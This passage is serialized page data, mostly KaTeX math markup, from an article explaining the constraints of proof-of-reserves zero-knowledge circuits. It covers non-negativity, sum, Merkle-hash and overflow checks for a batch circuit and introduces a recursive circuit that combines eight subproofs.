ren":100806},{"className":100804,"style":100805},[2971],"height:0.6444em;",[],{"type":24,"tag":327,"props":100808,"children":100810},{"className":100809},[2977],[100811],{"type":29,"value":2988},{"type":29,"value":14024},{"type":24,"tag":188,"props":100814,"children":100815},{},[100816],{"type":29,"value":100817},"(non-negativity)",{"type":24,"tag":179,"props":100819,"children":100820},{},[100821,101159,101160],{"type":24,"tag":284,"props":100822,"children":100824},{"className":100823},[2949,2950],[100825],{"type":24,"tag":327,"props":100826,"children":100828},{"className":100827},[2955],[100829],{"type":24,"tag":327,"props":100830,"children":100832},{"className":100831,"ariaHidden":2961},[2960],[100833,100969],{"type":24,"tag":327,"props":100834,"children":100836},{"className":100835},[2966],[100837,100841,100846,100851,100856,100861,100866,100871,100876,100881,100886,100891,100896,100901,100906,100911,100916,100921,100926,100931,100936,100941,100946,100951,100956,100960,100965],{"type":24,"tag":327,"props":100838,"children":100840},{"className":100839,"style":99716},[2971],[],{"type":24,"tag":327,"props":100842,"children":100844},{"className":100843},[2977,2978],[100845],{"type":29,"value":3134},{"type":24,"tag":327,"props":100847,"children":100849},{"className":100848},[2977,2978],[100850],{"type":29,"value":99744},{"type":24,"tag":327,"props":100852,"children":100854},{"className":100853},[2977,2978],[100855],{"type":29,"value":3134},{"type":24,"tag":327,"props":100857,"children":100859},{"className":100858},[2977,2978],[100860],{"type":29,"value":57},{"type":24,"tag":327,"props":100862,"children":100864},{"className":100863,"style":99786},[2977,2978],[100865],{"type":29,"value":99789},{"type":24,"tag":327,"props":100867,"children":100869},{"className":100868,"style":99774},[2977],[100870],{"type":29,"value":10692},{"type":24,"tag":327,"props":100872,"children":100874},{"className":100873},[2977,2978],[100875],{"type":29,"value":57},{"type":24,"tag":327,"props":100877,"children":100879},{"className":100878},[2977,2978],[100880],{"type":29,"value":99765},{"type":24,"tag":327,"props":100882,"children":100884},{"className":100883},[2977,2978],[100885],{"type":29,"value":3134},{"type":24,"tag":327,"props":100887,"children":100889},{"className":100888,"style":99774},[2977],[100890],{"type":29,"value":10692},{"type":24,"tag":327,"props":100892,"children":100894},{"className":100893},[2977,2978],[100895],{"type":29,"value":99782},{"type":24,"tag":327,"props":100897,"children":100899},{"className":100898,"style":99786},[2977,2978],[100900],{"type":29,"value":99789},{"type":24,"tag":327,"props":100902,"children":100904},{"className":100903},[2977,2978],[100905],{"type":29,"value":99795},{"type":24,"tag":327,"props":100907,"children":100909},{"className":100908},[2977,2978],[100910],{"type":29,"value":99801},{"type":24,"tag":327,"props":100912,"children":100914},{"className":100913},[3121],[100915],{"type":29,"value":11329},{"type":24,"tag":327,"props":100917,"children":100919},{"className":100918},[2977,2978],[100920],{"type":29,"value":57},{"type":24,"tag":327,"props":100922,"children":100924},{"className":100923},[2977,2978],[100925],{"type":29,"value":99765},{"type":24,"tag":327,"props":100927,"children":100929},{"className":100928},[2977,2978],[100930],{"type":29,"value":3134},{"type":24,"tag":327,"props":100932,"children":100934},{"className":100933,"style":99774},[2977],[100935],{"type":29,"value":10692},{"type":24,"tag":327,"props":100937,"children":100939},{"className":100938},[2977,2978],[100940],{"type":29,"value":63125},{"type":24,"tag":327,"props":100942,"children":100944},{"className":100943},[2977,2978],[100945],{"type":29,"value":100033},{"type":24,"tag":327,"props":100947,"children":100949},{"className":100948},[2977,2978],[100950],{"type":29,"value":57854},{"type":24,"tag":327,"props":100952,"children":100954},{"className":100953},[3143],[100955],{"type":29,"value":22934},{"type":24,"tag":327,"props":100957,"children":100959},{"className":100958,"style":2993},[2992],[],{"type":24,"tag":327,"props":100961,"children":100963},{"className":100962},[2998],[100964],{"type":29,"value":642},{"type":24,"tag":327,"props":100966,"children":100968},{"className":100967,"style":2993},[2992],[],{"type":24,"tag":327,"props":100970,"children":100972},{"className":100971},[2966],[100973,100977,100982,100987,100992,100997,101002,101007,101012,101017,101022,101027,101032,101037,101042,101047,101052,101057,101114,101119,101124,101129,101134,101139,101144,101149,101154],{"type":24,"tag":327,"props":100974,"children":100976},{"className":100975,"style":99716},[2971],[],{"type":24,"tag":327,"props":100978,"children":100980},{"className":100979},[2977],[100981],{"type":29,"value":100364},{"type":24,"tag":327,"props":100983,"children":100985},{"className":100984},[2992],[100986],{"type":29,"value":3093},{"type":24,"tag":327,"props":100988,"children":100990},{"className":100989},[2977,2978],[100991],{"type":29,"value":57},{"type":24,"tag":327,"props":100993,"children":100995},{"className":100994},[2977,2978],[100996],{"type":29,"value":100231},{"type":24,"tag":327,"props":100998,"children":101000},{"className":100999},[2977,2978],[101001],{"type":29,"value":100033},{"type":24,"tag":327,"props":101003,"children":101005},{"className":101004},[2977,2978],[101006],{"type":29,"value":63125},{"type":24,"tag":327,"props":101008,"children":101010},{"className":101009},[2977,2978],[101011],{"type":29,"value":3134},{"type":24,"tag":327,"props":101013,"children":101015},{"className":101014,"style":99774},[2977],[101016],{"type":29,"value":10692},{"type":24,"tag":327,"props":101018,"children":101020},{"className":101019},[2977,2978],[101021],{"type":29,"value":57},{"type":24,"tag":327,"props":101023,"children":101025},{"className":101024},[2977,2978],[101026],{"type":29,"value":99765},{"type":24,"tag":327,"props":101028,"children":101030},{"className":101029},[2977,2978],[101031],{"type":29,"value":3134},{"type":24,"tag":327,"props":101033,"children":101035},{"className":101034,"style":99774},[2977],[101036],{"type":29,"value":10692},{"type":24,"tag":327,"props":101038,"children":101040},{"className":101039},[2977,2978],[101041],{"type":29,"value":99782},{"type":24,"tag":327,"props":101043,"children":101045},{"className":101044,"style":99786},[2977,2978],[101046],{"type":29,"value":99789},{"type":24,"tag":327,"props":101048,"children":101050},{"className":101049},[2977,2978],[101051],{"type":29,"value":99795},{"type":24,"tag":327,"props":101053,"children":101055},{"className":101054},[2977,2978],[101056],{"type":29,"value":99801},{"type":24,"tag":327,"props":101058,"children":101060},{"className":101059},[2977],[101061,101066],{"type":24,"tag":327,"props":101062,"children":101064},{"className":101063},[2977,2978],[101065],{"type":29,"value":18198},{"type":24,"tag":327,"props":101067,"children":101069},{"className":101068},[3032],[101070],{"type":24,"tag":327,"props":101071,"children":101073},{"className":101072},[3037,3038],[101074,101103],{"type":24,"tag":327,"props":101075,"children":101077},{"className":101076},[3043],[101078,101098],{"type":24,"tag":327,"props":101079,"children":101081},{"className":101080,"style":100303},[3048],[101082],{"type":24,"tag":327,"props":101083,"children":101084},{"style":99830},[101085,101089],{"type":24,"tag":327,"props":101086,"children":101088},{"className":101087,"style":3059},[3058],[],{"type":24,"tag":327,"props":101090,"children":101092},{"className":101091},[3064,3065,3066,3067],[101093],{"type":24,"tag":327,"props":101094,"children":101096},{"className":101095},[2977,2978,3067],[101097],{"type":29,"value":11334},{"type":24,"tag":327,"props":101099,"children":101101},{"className":101100},[3150],[101102],{"type":29,"value":3153},{"type":24,"tag":327,"props":101104,"children":101106},{"className":101105},[3043],[101107],{"type":24,"tag":327,"props":101108,"children":101110},{"className":101109,"style":99857},[3048],[101111],{"type":24,"tag":327,"props":101112,"children":101113},{},[],{"type":24,"tag":327,"props":101115,"children":101117},{"className":101116},[3121],[101118],{"type":29,"value":11329},{"type":24,"tag":327,"props":101120,"children":101122},{"className":101121},[2977,2978],[101123],{"type":29,"value":57},{"type":24,"tag":327,"props":101125,"children":101127},{"className":101126},[2977,2978],[101128],{"type":29,"value":99765},{"type":24,"tag":327,"props":101130,"children":101132},{"className":101131},[2977,2978],[101133],{"type":29,"value":3134},{"type":24,"tag":327,"props":101135,"children":101137},{"className":101136,"style":99774},[2977],[101138],{"type":29,"value":10692},{"type":24,"tag":327,"props":101140,"children":101142},{"className":101141},[2977,2978],[101143],{"type":29,"value":63125},{"type":24,"tag":327,"props":101145,"children":101147},{"className":101146},[2977,2978],[101148],{"type":29,"value":100033},{"type":24,"tag":327,"props":101150,"children":101152},{"className":101151},[2977,2978],[101153],{"type":29,"value":57854},{"type":24,"tag":327,"props":101155,"children":101157},{"className":101156},[3143],[101158],{"type":29,"value":22934},{"type":29,"value":14024},{"type":24,"tag":188,"props":101161,"children":101162},{},[101163],{"type":29,"value":101164},"(sum proof)",{"type":24,"tag":179,"props":101166,"children":101167},{},[101168,101557,101558],{"type":24,"tag":284,"props":101169,"children":101171},{"className":101170},[2949,2950],[101172],{"type":24,"tag":327,"props":101173,"children":101175},{"className":101174},[2955],[101176],{"type":24,"tag":327,"props":101177,"children":101179},{"className":101178,"ariaHidden":2961},[2960],[101180,101266],{"type":24,"tag":327,"props":101181,"children":101183},{"className":101182},[2966],[101184,101189,101194,101200,101206,101211,101216,101221,101226,101232,101237,101243,101248,101253,101257,101262],{"type":24,"tag":327,"props":101185,"children":101188},{"className":101186,"style":101187},[2971],"height:1.0044em;vertical-align:-0.31em;",[],{"type":24,"tag":327,"props":101190,"children":101192},{"className":101191},[2977,2978],[101193],{"type":29,"value":57854},{"type":24,"tag":327,"props":101195,"children":101197},{"className":101196,"style":99774},[2977,2978],[101198],{"type":29,"value":101199},"er",{"type":24,"tag":327,"props":101201,"children":101204},{"className":101202,"style":101203},[2977,2978],"margin-right:0.03148em;",[101205],{"type":29,"value":95411},{"type":24,"tag":327,"props":101207,"children":101209},{"className":101208,"style":99786},[2977,2978],[101210],{"type":29,"value":99789},{"type":24,"tag":327,"props":101212,"children":101214},{"className":101213},[2977,2978],[101215],{"type":29,"value":58175},{"type":24,"tag":327,"props":101217,"children":101219},{"className":101218,"style":99774},[2977],[101220],{"type":29,"value":10692},{"type":24,"tag":327,"props":101222,"children":101224},{"className":101223},[2977,2978],[101225],{"type":29,"value":3134},{"type":24,"tag":327,"props":101227,"children":101229},{"className":101228},[2977,2978],[101230],{"type":29,"value":101231},"ree",{"type":24,"tag":327,"props":101233,"children":101235},{"className":101234,"style":99774},[2977],[101236],{"type":29,"value":10692},{"type":24,"tag":327,"props":101238,"children":101240},{"className":101239},[2977,2978],[101241],{"type":29,"value":101242},"ha",{"type":24,"tag":327,"props":101244,"children":101246},{"className":101245},[2977,2978],[101247],{"type":29,"value":18198},{"type":24,"tag":327,"props":101249,"children":101251},{"className":101250},[2977,2978],[101252],{"type":29,"value":91072},{"type":24,"tag":327,"props":101254,"children":101256},{"className":101255,"style":2993},[2992],[],{"type":24,"tag":327,"props":101258,"children":101260},{"className":101259},[2998],[101261],{"type":29,"value":642},{"type":24,"tag":327,"props":101263,"children":101265},{"className":101264,"style":2993},[2992],[],{"type":24,"tag":327,"props":101267,"children":101269},{"className":101268},[2966],[101270,101274,101279,101284,101289,101294,101299,101304,101309,101314,101319,101376,101381,101385,101390,101395,101452,101457,101462,101466,101471,101476,101480,101485,101490,101552],{"type":24,"tag":327,"props":101271,"children":101273},{"className":101272,"style":3685},[2971],[],{"type":24,"tag":327,"props":101275,"children":101277},{"className":101276,"style":2979},[2977,2978],[101278],{"type":29,"value":2982},{"type":24,"tag":327,"props":101280,"children":101282},{"className":101281},[2977,2978],[101283],{"type":29,"value":99728},{"type":24,"tag":327,"props":101285,"children":101287},{"className":101286},[2977,2978],[101288],{"type":29,"value":11334},{"type":24,"tag":327,"props":101290,"children":101292},{"className":101291},[2977,2978],[101293],{"type":29,"value":77289},{"type":24,"tag":327,"props":101295,"children":101297},{"className":101296},[2977,2978],[101298],{"type":29,"value":99744},{"type":24,"tag":327,"props":101300,"children":101302},{"className":101301},[2977,2978],[101303],{"type":29,"value":63125},{"type":24,"tag":327,"props":101305,"children":101307},{"className":101306},[3121],[101308],{"type":29,"value":349},{"type":24,"tag":327,"props":101310,"children":101312},{"className":101311},[2977,2978],[101313],{"type":29,"value":101242},{"type":24,"tag":327,"props":101315,"children":101317},{"className":101316},[2977,2978],[101318],{"type":29,"value":18198},{"type":24,"tag":327,"props":101320,"children":101322},{"className":101321},[2977],[101323,101328],{"type":24,"tag":327,"props":101324,"children":101326},{"className":101325},[2977,2978],[101327],{"type":29,"value":91072},{"type":24,"tag":327,"props":101329,"children":101331},{"className":101330},[3032],[101332],{"type":24,"tag":327,"props":101333,"children":101335},{"className":101334},[3037,3038],[101336,101365],{"type":24,"tag":327,"props":101337,"children":101339},{"className":101338},[3043],[101340,101360],{"type":24,"tag":327,"props":101341,"children":101343},{"className":101342,"style":99826},[3048],[101344],{"type":24,"tag":327,"props":101345,"children":101346},{"style":99830},[101347,101351],{"type":24,"tag":327,"props":101348,"children":101350},{"className":101349,"style":3059},[3058],[],{"type":24,"tag":327,"props":101352,"children":101354},{"className":101353},[3064,3065,3066,3067],[101355],{"type":24,"tag":327,"props":101356,"children":101358},{"className":101357},[2977,3067],[101359],{"type":29,"value":2988},{"type":24,"tag":327,"props":101361,"children":101363},{"className":101362},[3150],[101364],{"type":29,"value":3153},{"type":24,"tag":327,"props":101366,"children":101368},{"className":101367},[3043],[101369],{"type":24,"tag":327,"props":101370,"children":101372},{"className":101371,"style":99857},[3048],[101373],{"type":24,"tag":327,"props":101374,"children":101375},{},[],{"type":24,"tag":327,"props":101377,"children":101379},{"className":101378},[11695],[101380],{"type":29,"value":11698},{"type":24,"tag":327,"props":101382,"children":101384},{"className":101383,"style":3169},[2992],[],{"type":24,"tag":327,"props":101386,"children":101388},{"className":101387},[2977,2978],[101389],{"type":29,"value":101242},{"type":24,"tag":327,"props":101391,"children":101393},{"className":101392},[2977,2978],[101394],{"type":29,"value":18198},{"type":24,"tag":327,"props":101396,"children":101398},{"className":101397},[2977],[101399,101404],{"type":24,"tag":327,"props":101400,"children":101402},{"className":101401},[2977,2978],[101403],{"type":29,"value":91072},{"type":24,"tag":327,"props":101405,"children":101407},{"className":101406},[3032],[101408],{"type":24,"tag":327,"props":101409,"children":101411},{"className":101410},[3037,3038],[101412,101441],{"type":24,"tag":327,"props":101413,"children":101415},{"className":101414},[3043],[101416,101436],{"type":24,"tag":327,"props":101417,"children":101419},{"className":101418,"style":99826},[3048],[101420],{"type":24,"tag":327,"props":101421,"children":101422},{"style":99830},[101423,101427],{"type":24,"tag":327,"props":101424,"children":101426},{"className":101425,"style":3059},[3058],[],{"type":24,"tag":327,"props":101428,"children":101430},{"className":101429},[3064,3065,3066,3067],[101431],{"type":24,"tag":327,"props":101432,"children":101434},{"className":101433},[2977,3067],[101435],{"type":29,"value":3238},{"type":24,"tag":327,"props":101437,"children":101439},{"className":101438},[3150],[101440],{"type":29,"value":3153},{"type":24,"tag":327,"props":101442,"children":101444},{"className":101443},[3043],[101445],{"type":24,"tag":327,"props":101446,"children":101448},{"className":101447,"style":99857},[3048],[101449],{"type":24,"tag":327,"props":101450,"children":101451},{},[],{"type":24,"tag":327,"props":101453,"children":101455},{"className":101454},[11695],[101456],{"type":29,"value":11698},{"type":24,"tag":327,"props":101458,"children":101460},{"className":101459},[2992],[101461],{"type":29,"value":3093},{"type":24,"tag":327,"props":101463,"children":101465},{"className":101464,"style":3169},[2992],[],{"type":24,"tag":327,"props":101467,"children":101469},{"className":101468},[2977],[101470],{"type":29,"value":1922},{"type":24,"tag":327,"props":101472,"children":101474},{"className":101473},[11695],[101475],{"type":29,"value":11698},{"type":24,"tag":327,"props":101477,"children":101479},{"className":101478,"style":3169},[2992],[],{"type":24,"tag":327,"props":101481,"children":101483},{"className":101482},[2977,2978],[101484],{"type":29,"value":101242},{"type":24,"tag":327,"props":101486,"children":101488},{"className":101487},[2977,2978],[101489],{"type":29,"value":18198},{"type":24,"tag":327,"props":101491,"children":101493},{"className":101492},[2977],[101494,101499],{"type":24,"tag":327,"props":101495,"children":101497},{"className":101496},[2977,2978],[101498],{"type":29,"value":91072},{"type":24,"tag":327,"props":101500,"children":101502},{"className":101501},[3032],[101503],{"type":24,"tag":327,"props":101504,"children":101506},{"className":101505},[3037,3038],[101507,101541],{"type":24,"tag":327,"props":101508,"children":101510},{"className":101509},[3043],[101511,101536],{"type":24,"tag":327,"props":101512,"children":101514},{"className":101513,"style":99826},[3048],[101515],{"type":24,"tag":327,"props":101516,"children":101517},{"style":99830},[101518,101522],{"type":24,"tag":327,"props":101519,"children":101521},{"className":101520,"style":3059},[3058],[],{"type":24,"tag":327,"props":101523,"children":101525},{"className":101524},[3064,3065,3066,3067],[101526],{"type":24,"tag":327,"props":101527,"children":101529},{"className":101528},[2977,3067],[101530],{"type":24,"tag":327,"props":101531,"children":101533},{"className":101532},[2977,3067],[101534],{"type":29,"value":101535},"511",{"type":24,"tag":327,"props":101537,"children":101539},{"className":101538},[3150],[101540],{"type":29,"value":3153},{"type":24,"tag":327,"props":101542,"children":101544},{"className":101543},[3043],[101545],{"type":24,"tag":327,"props":101546,"children":101548},{"className":101547,"style":99857},[3048],[101549],{"type":24,"tag":327,"props":101550,"children":101551},{},[],{"type":24,"tag":327,"props":101553,"children":101555},{"className":101554},[3143],[101556],{"type":29,"value":3146},{"type":29,"value":14024},{"type":24,"tag":188,"props":101559,"children":101560},{},[101561],{"type":29,"value":101562},"(merkle tree hash)",{"type":24,"tag":179,"props":101564,"children":101565},{},[101566,101841,101842,101847,101849,101854],{"type":24,"tag":284,"props":101567,"children":101569},{"className":101568},[2949,2950],[101570],{"type":24,"tag":327,"props":101571,"children":101573},{"className":101572},[2955],[101574],{"type":24,"tag":327,"props":101575,"children":101577},{"className":101576,"ariaHidden":2961},[2960],[101578,101771],{"type":24,"tag":327,"props":101579,"children":101581},{"className":101580},[2966],[101582,101586,101591,101596,101601,101606,101611,101616,101621,101626,101631,101636,101641,101646,101651,101656,101713,101718,101723,101728,101733,101738,101743,101748,101753,101758,101762,101767],{"type":24,"tag":327,"props":101583,"children":101585},{"className":101584,"style":99716},[2971],[],{"type":24,"tag":327,"props":101587,"children":101589},{"className":101588},[2977,2978],[101590],{"type":29,"value":57},{"type":24,"tag":327,"props":101592,"children":101594},{"className":101593},[2977,2978],[101595],{"type":29,"value":100231},{"type":24,"tag":327,"props":101597,"children":101599},{"className":101598},[2977,2978],[101600],{"type":29,"value":100033},{"type":24,"tag":327,"props":101602,"children":101604},{"className":101603},[2977,2978],[101605],{"type":29,"value":63125},{"type":24,"tag":327,"props":101607,"children":101609},{"className":101608},[2977,2978],[101610],{"type":29,"value":3134},{"type":24,"tag":327,"props":101612,"children":101614},{"className":101613,"style":99774},[2977],[101615],{"type":29,"value":10692},{"type":24,"tag":327,"props":101617,"children":101619},{"className":101618},[2977,2978],[101620],{"type":29,"value":57},{"type":24,"tag":327,"props":101622,"children":101624},{"className":101623},[2977,2978],[101625],{"type":29,"value":99765},{"type":24,"tag":327,"props":101627,"children":101629},{"className":101628},[2977,2978],[101630],{"type":29,"value":3134},{"type":24,"tag":327,"props":101632,"children":101634},{"className":101633,"style":99774},[2977],[101635],{"type":29,"value":10692},{"type":24,"tag":327,"props":101637,"children":101639},{"className":101638},[2977,2978],[101640],{"type":29,"value":99782},{"type":24,"tag":327,"props":101642,"children":101644},{"className":101643,"style":99786},[2977,2978],[101645],{"type":29,"value":99789},{"type":24,"tag":327,"props":101647,"children":101649},{"className":101648},[2977,2978],[101650],{"type":29,"value":99795},{"type":24,"tag":327,"props":101652,"children":101654},{"className":101653},[2977,2978],[101655],{"type":29,"value":99801},{"type":24,"tag":327,"props":101657,"children":101659},{"className":101658},[2977],[101660,101665],{"type":24,"tag":327,"props":101661,"children":101663},{"className":101662},[2977,2978],[101664],{"type":29,"value":18198},{"type":24,"tag":327,"props":101666,"children":101668},{"className":101667},[3032],[101669],{"type":24,"tag":327,"props":101670,"children":101672},{"className":101671},[3037,3038],[101673,101702],{"type":24,"tag":327,"props":101674,"children":101676},{"className":101675},[3043],[101677,101697],{"type":24,"tag":327,"props":101678,"children":101680},{"className":101679,"style":100303},[3048],[101681],{"type":24,"tag":327,"props":101682,"children":101683},{"style":99830},[101684,101688],{"type":24,"tag":327,"props":101685,"children":101687},{"className":101686,"style":3059},[3058],[],{"type":24,"tag":327,"props":101689,"children":101691},{"className":101690},[3064,3065,3066,3067],[101692],{"type":24,"tag":327,"props":101693,"children":101695},{"className":101694},[2977,2978,3067],[101696],{"type":29,"value":11334},{"type":24,"tag":327,"props":101698,"children":101700},{"className":101699},[3150],[101701],{"type":29,"value":3153},{"type":24,"tag":327,"props":101703,"children":101705},{"className":101704},[3043],[101706],{"type":24,"tag":327,"props":101707,"children":101709},{"className":101708,"style":99857},[3048],[101710],{"type":24,"tag":327,"props":101711,"children":101712},{},[],{"type":24,"tag":327,"props":101714,"children":101716},{"className":101715},[3121],[101717],{"type":29,"value":11329},{"type":24,"tag":327,"props":101719,"children":101721},{"className":101720},[2977,2978],[101722],{"type":29,"value":57},{"type":24,"tag":327,"props":101724,"children":101726},{"className":101725},[2977,2978],[101727],{"type":29,"value":99765},{"type":24,"tag":327,"props":101729,"children":101731},{"className":101730},[2977,2978],[101732],{"type":29,"value":3134},{"type":24,"tag":327,"props":101734,"children":101736},{"className":101735,"style":99774},[2977],[101737],{"type":29,"value":10692},{"type":24,"tag":327,"props":101739,"children":101741},{"className":101740},[2977,2978],[101742],{"type":29,"value":63125},{"type":24,"tag":327,"props":101744,"children":101746},{"className":101745},[2977,2978],[101747],{"type":29,"value":100033},{"type":24,"tag":327,"props":101749,"children":101751},{"className":101750},[2977,2978],[101752],{"type":29,"value":57854},{"type":24,"tag":327,"props":101754,"children":101756},{"className":101755},[3143],[101757],{"type":29,"value":22934},{"type":24,"tag":327,"props":101759,"children":101761},{"className":101760,"style":2993},[2992],[],{"type":24,"tag":327,"props":101763,"children":101765},{"className":101764},[2998],[101766],{"type":29,"value":1596},{"type":24,"tag":327,"props":101768,"children":101770},{"className":101769,"style":2993},[2992],[],{"type":24,"tag":327,"props":101772,"children":101774},{"className":101773},[2966],[101775,101779,101786,101791,101797,101802,101807,101812,101818,101823,101829,101835],{"type":24,"tag":327,"props":101776,"children":101778},{"className":101777,"style":99716},[2971],[],{"type":24,"tag":327,"props":101780,"children":101783},{"className":101781,"style":101782},[2977,2978],"margin-right:0.10903em;",[101784],{"type":29,"value":101785},"M",{"type":24,"tag":327,"props":101787,"children":101789},{"className":101788},[2977,2978],[101790],{"type":29,"value":83494},{"type":24,"tag":327,"props":101792,"children":101795},{"className":101793,"style":101794},[2977,2978],"margin-right:0.07847em;",[101796],{"type":29,"value":13700},{"type":24,"tag":327,"props":101798,"children":101800},{"className":101799,"style":99774},[2977],[101801],{"type":29,"value":10692},{"type":24,"tag":327,"props":101803,"children":101805},{"className":101804,"style":3454},[2977,2978],[101806],{"type":29,"value":3457},{"type":24,"tag":327,"props":101808,"children":101810},{"className":101809},[2977,2978],[101811],{"type":29,"value":83494},{"type":24,"tag":327,"props":101813,"children":101815},{"className":101814,"style":3454},[2977,2978],[101816],{"type":29,"value":101817},"FE",{"type":24,"tag":327,"props":101819,"children":101821},{"className":101820,"style":99774},[2977],[101822],{"type":29,"value":10692},{"type":24,"tag":327,"props":101824,"children":101826},{"className":101825,"style":101794},[2977,2978],[101827],{"type":29,"value":101828},"I",{"type":24,"tag":327,"props":101830,"children":101832},{"className":101831,"style":2979},[2977,2978],[101833],{"type":29,"value":101834},"NT",{"type":24,"tag":327,"props":101836,"children":101838},{"className":101837},[2977],[101839],{"type":29,"value":101840},"/512",{"type":29,"value":14024},{"type":24,"tag":188,"props":101843,"children":101844},{},[101845],{"type":29,"value":101846},"(overflow check)",{"type":29,"value":101848}," --> overflow check is made this way for performance (note that 512 is actually the ",{"type":24,"tag":284,"props":101850,"children":101852},{"className":101851},[],[101853],{"type":29,"value":99632},{"type":29,"value":3146},{"type":24,"tag":25,"props":101856,"children":101857},{},[101858],{"type":29,"value":101859},"Here is a visual scheme of the inputs of the batch circuit + how user hashes are generated:",{"type":24,"tag":25,"props":101861,"children":101862},{},[101863],{"type":24,"tag":11511,"props":101864,"children":101866},{"alt":57299,"src":101865},"/posts/por/batch-circuit-inputs.png",[],{"type":24,"tag":235,"props":101868,"children":101870},{"id":101869},"recursive-circuit",[101871],{"type":29,"value":101872},"Recursive Circuit",{"type":24,"tag":25,"props":101874,"children":101875},{},[101876],{"type":29,"value":101877},"Recursive circuits get eight subproofs as input, verify if all the asset prices are the same, and calculate the summed balances and Merkle hash. Here are the constraints.",{"type":24,"tag":25,"props":101879,"children":101880},{},[101881],{"type":24,"tag":188,"props":101882,"children":101883},{},[101884],{"type":29,"value":100146},{"type":24,"tag":1380,"props":101886,"children":101887},{},[101888,101892,101897],{"type":24,"tag":179,"props":101889,"children":101890},{},[101891],{"type":29,"value":100164},{"type":24,"tag":179,"props":101893,"children":101894},{},[101895],{"type":29,"value":101896},"Asset prices",{"type":24,"tag":179,"props":101898,"children":101899},{},[101900],{"type":29,"value":100159},{"type":24,"tag":25,"props":101902,"children":101903},{},[101904],{"type":24,"tag":188,"props":101905,"children":101906},{},[101907],{"type":29,"value":100172},{"type":24,"tag":1380,"props":101909,"children":101910},{},[101911],{"type":24,"tag":179,"props":101912,"children":101913},{},[101914],{"type":29,"value":101915},"8 subproofs",{"type":24,"tag":25,"props":101917,"children":101918},{},[101919],{"type":24,"tag":188,"props":101920,"children":101921},{},[101922],{"type":29,"value":100193},{"type":24,"tag":1380,"props":101924,"children":101925},{},[101926,102336,102667,103034,103421],{"type":24,"tag":179,"props":101927,"children":101928},{},[101929,102331,102332],{"type":24,"tag":284,"props":101930,"children":101932},{"className":101931},[2949,2950],[101933],{"type":24,"tag":327,"props":101934,"children":101936},{"className":101935},[2955],[101937],{"type":24,"tag":327,"props":101938,"children":101940},{"className":101939,"ariaHidden":2961},[2960],[101941,102077],{"type":24,"tag":327,"props":101942,"children":101944},{"className":101943},[2966],[101945,101949,101954,101959,101964,101969,101974,101979,101984,101989,101994,101999,102004,102009,102014,102019,102024,102029,102034,102039,102044,102049,102054,102059,102064,102068,102073],{"type":24,"tag":327,"props":101946,"children":101948},{"className":101947,"style":99716},[2971],[],{"type":24,"tag":327,"props":101950,"children":101952},{"className":101951},[2977,2978],[101953],{"type":29,"value":3134},{"type":24,"tag":327,"props":101955,"children":101957},{"className":101956},[2977,2978],[101958],{"type":29,"value":99744},{"type":24,"tag":327,"props":101960,"children":101962},{"className":101961},[2977,2978],[101963],{"type":29,"value":3134},{"type":24,"tag":327,"props":101965,"children":101967},{"className":101966},[2977,2978],[101968],{"type":29,"value":57},{"type":24,"tag":327,"props":101970,"children":101972},{"className":101971,"style":99786},[2977,2978],[101973],{"type":29,"value":99789},{"type":24,"tag":327,"props":101975,"children":101977},{"className":101976,"style":99774},[2977],[101978],{"type":29,"value":10692},{"type":24,"tag":327,"props":101980,"children":101982},{"className":101981},[2977,2978],[101983],{"type":29,"value":57},{"type":24,"tag":327,"props":101985,"children":101987},{"className":101986},[2977,2978],[101988],{"type":29,"value":99765},{"type":24,"tag":327,"props":101990,"children":101992},{"className":101991},[2977,2978],[101993],{"type":29,"value":3134},{"type":24,"tag":327,"props":101995,"children":101997},{"className":101996,"style":99774},[2977],[101998],{"type":29,"value":10692},{"type":24,"tag":327,"props":102000,"children":102002},{"className":102001},[2977,2978],[102003],{"type":29,"value":99782},{"type":24,"tag":327,"props":102005,"children":102007},{"className":102006,"style":99786},[2977,2978],[102008],{"type":29,"value":99789},{"type":24,"tag":327,"props":102010,"children":102012},{"className":102011},[2977,2978],[102013],{"type":29,"value":99795},{"type":24,"tag":327,"props":102015,"children":102017},{"className":102016},[2977,2978],[102018],{"type":29,"value":99801},{"type":24,"tag":327,"props":102020,"children":102022},{"className":102021},[3121],[102023],{"type":29,"value":11329},{"type":24,"tag":327,"props":102025,"children":102027},{"className":102026},[2977,2978],[102028],{"type":29,"value":57},{"type":24,"tag":327,"props":102030,"children":102032},{"className":102031},[2977,2978],[102033],{"type":29,"value":99765},{"type":24,"tag":327,"props":102035,"children":102037},{"className":102036},[2977,2978],[102038],{"type":29,"value":3134},{"type":24,"tag":327,"props":102040,"children":102042},{"className":102041,"style":99774},[2977],[102043],{"type":29,"value":10692},{"type":24,"tag":327,"props":102045,"children":102047},{"className":102046},[2977,2978],[102048],{"type":29,"value":63125},{"type":24,"tag":327,"props":102050,"children":102052},{"className":102051},[2977,2978],[102053],{"type":29,"value":100033},{"type":24,"tag":327,"props":102055,"children":102057},{"className":102056},[2977,2978],[102058],{"type":29,"value":57854},{"type":24,"tag":327,"props":102060,"children":102062},{"className":102061},[3143],[102063],{"type":29,"value":22934},{"type":24,"tag":327,"props":102065,"children":102067},{"className":102066,"style":2993},[2992],[],{"type":24,"tag":327,"props":102069,"children":102071},{"className":102070},[2998],[102072],{"type":29,"value":642},{"type":24,"tag":327,"props":102074,"children":102076},{"className":102075,"style":2993},[2992],[],{"type":24,"tag":327,"props":102078,"children":102080},{"className":102079},[2966],[102081,102085,102090,102095,102100,102105,102110,102115,102121,102180,102185,102190,102195,102200,102205,102210,102215,102220,102226,102231,102236,102241,102246,102251,102256,102261,102266,102271,102276,102281,102286,102291,102296,102301,102306,102311,102316,102321,102326],{"type":24,"tag":327,"props":102082,"children":102084},{"className":102083,"style":99716},[2971],[],{"type":24,"tag":327,"props":102086,"children":102088},{"className":102087},[2977],[102089],{"type":29,"value":100364},{"type":24,"tag":327,"props":102091,"children":102093},{"className":102092},[2992],[102094],{"type":29,"value":3093},{"type":24,"tag":327,"props":102096,"children":102098},{"className":102097},[2977,2978],[102099],{"type":29,"value":18198},{"type":24,"tag":327,"props":102101,"children":102103},{"className":102102},[2977,2978],[102104],{"type":29,"value":100033},{"type":24,"tag":327,"props":102106,"children":102108},{"className":102107},[2977,2978],[102109],{"type":29,"value":10828},{"type":24,"tag":327,"props":102111,"children":102113},{"className":102112},[2977,2978],[102114],{"type":29,"value":25},{"type":24,"tag":327,"props":102116,"children":102118},{"className":102117},[2977,2978],[102119],{"type":29,"value":102120},"roo",{"type":24,"tag":327,"props":102122,"children":102124},{"className":102123},[2977],[102125,102131],{"type":24,"tag":327,"props":102126,"children":102129},{"className":102127,"style":102128},[2977,2978],"margin-right:0.10764em;",[102130],{"type":29,"value":39796},{"ty